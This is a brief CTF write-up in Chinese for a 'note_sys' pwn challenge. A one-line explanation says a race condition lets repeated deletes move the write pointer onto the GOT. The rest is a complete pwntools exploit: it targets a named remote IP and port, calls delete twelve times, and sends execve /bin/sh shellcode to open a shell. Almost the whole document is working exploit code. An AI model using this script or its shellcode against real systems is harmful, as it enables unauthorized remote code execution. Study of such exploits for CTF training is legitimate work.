Race condition多次delete后把写入地址减到got表，覆盖got表执行

EXP：

from pwn import \*

DEBUG = 0

VERBOSE = 1

LOCAL = 0

if VERBOSE:

context.log\_level = 'debug'

if LOCAL:

io = process('./note\_sys', aslr=False)

if DEBUG:

gdb.attach(io)

else:

io = remote('118.31.18.29', 20003)

def make\_note(content):

io.recvuntil('choice:\n')

io.sendline('0')

io.recvuntil('input your note, no more than 250 characters\n')

io.send(content)

def delete\_note():

io.recvuntil('choice:\n')

io.sendline('2')

for i in range(12):

delete\_note()

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90'

make\_note(shellcode)

delete\_note()

io.interactive()